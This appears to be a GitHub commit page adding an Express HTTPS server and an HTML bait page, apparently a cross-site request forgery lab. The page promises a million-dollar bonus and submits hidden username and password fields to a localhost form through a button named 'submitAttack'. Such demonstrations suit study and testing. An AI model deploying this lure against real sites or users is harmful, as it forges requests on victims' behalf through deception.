-
Notifications
You must be signed in to change notification settings - Fork 32
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
3 changed files
with
83 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,31 @@ | ||
const express = require('express') | ||
const path = require('path') | ||
const app = express() | ||
const https = require('https') | ||
const http = require('http') | ||
const fs = require('fs') | ||
|
||
try { | ||
const httpsOptions = { | ||
key: fs.readFileSync('./certs/key.pem'), | ||
cert: fs.readFileSync('./certs/cert.pem') | ||
} | ||
|
||
app.set('port', 3001) | ||
app.enable('trust proxy') | ||
|
||
https.createServer(httpsOptions, app).listen(app.get('port'), function () { | ||
console.log('Express HTTPS server listening on port ' + app.get('port')) | ||
app.get('/', (req, res) => { | ||
res.sendFile(path.join(__dirname, '/')) | ||
}) | ||
}) | ||
app.get('/form', (req, res) => { | ||
res.sendFile(path.join(__dirname, '/form')) | ||
}) | ||
app.post('/', function (req, res) { | ||
res.sendFile(path.join(__dirname, '/')) | ||
}) | ||
} catch (e) { | ||
console.log(e) | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,18 @@ | ||
<!DOCTYPE html> | ||
<html lang="en"> | ||
<head> | ||
<meta charset="UTF-8"> | ||
<meta http-equiv="X-UA-Compatible" content="IE=edge"> | ||
<meta name="viewport" content="width=device-width, initial-scale=1.0"> | ||
<title>Some HTML that will not validate</title> | ||
</head> | ||
<body> | ||
<form method="POST" action="https://localhost:34711/form"> | ||
<h1>Congratulations. You just won a bonus of 1 million dollars!!!</h1> | ||
<input type="hidden" name="uname" value="IamHere" /> | ||
<input type="hidden" name="psw" value="123456" /> | ||
<input type="submit" name="submitAttack" id="submitAttack" value="Click here to claim your bonus"/> | ||
</form> | ||
|
||
</body> | ||
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters